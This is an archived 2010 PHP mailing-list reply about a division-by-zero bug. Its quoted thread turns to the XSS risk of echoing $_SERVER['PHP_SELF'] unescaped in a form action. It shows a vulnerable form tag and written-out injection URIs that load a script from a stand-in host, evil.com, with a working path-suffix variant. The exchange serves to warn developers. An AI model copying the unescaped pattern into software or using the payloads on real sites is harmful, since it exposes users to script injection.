Re: Division by 0
| From: | Jochem Maas | Date: | Thu, 11 Mar 2010 12:13:50 +0000 |
| Subject: | Re: Division by 0 | ||
| References: | 1 2 3 4 5 | Groups: | php.general |
| Request: | Send a blank email to php-general+get-302697@lists.php.net to get a copy of this message | ||
Op 3/10/10 11:39 PM, Daniel Egeberg schreef:
> On Wed, Mar 10, 2010 at 23:44, Dmitry Ruban <dmitry@ruban.biz> wrote:
>> Hi Jochem,
>>
>> Jochem Maas wrote:
>>>
>>> Op 3/10/10 6:23 PM, Joseph Thayne schreef:
>>>>
>>>> Looks to me like you are closing your form before you put anything in
>>>> it. Therefore, the loan_amount is not set making the value 0. Follow
>>>> the math, and you are dividing by 1-1.
>>>>
>>>> Change this line:
>>>>
>>>> <form action="<?php echo $_SERVER['PHP_SELF']; ?>"
>>>> method="post"></form>
>>>>
>>>> to:
>>>>
>>>> <form action="<?php echo $_SERVER['PHP_SELF']; ?>"
>>>> method="post">
>>>
>>> this is a XSS waiting to happen. I can put something like the following in
>>> the request uri:
>>>
>>> index.php?" onsubmit="evil()"><script
>>> src="http://www.evil.com/evi.js"
>>>
>> Apparently it's not going to work. PHP_SELF does not include query string.
>> So it is safe to use it this way.
>>
>> Regards,
>> Dmitry
>
> No, it is not safe...
>
> This won't work:
> index.php?" onsubmit="evil()"><script
> src="http://www.evil.com/evi.js"></script>
>
> But this will:
> index.php/" onsubmit="evil()"><script
> src="http://www.evil.com/evi.js"></script>
yeah sorry, I was lax and made the query string mistake,
the issue stands though as Daniel pointed out.
>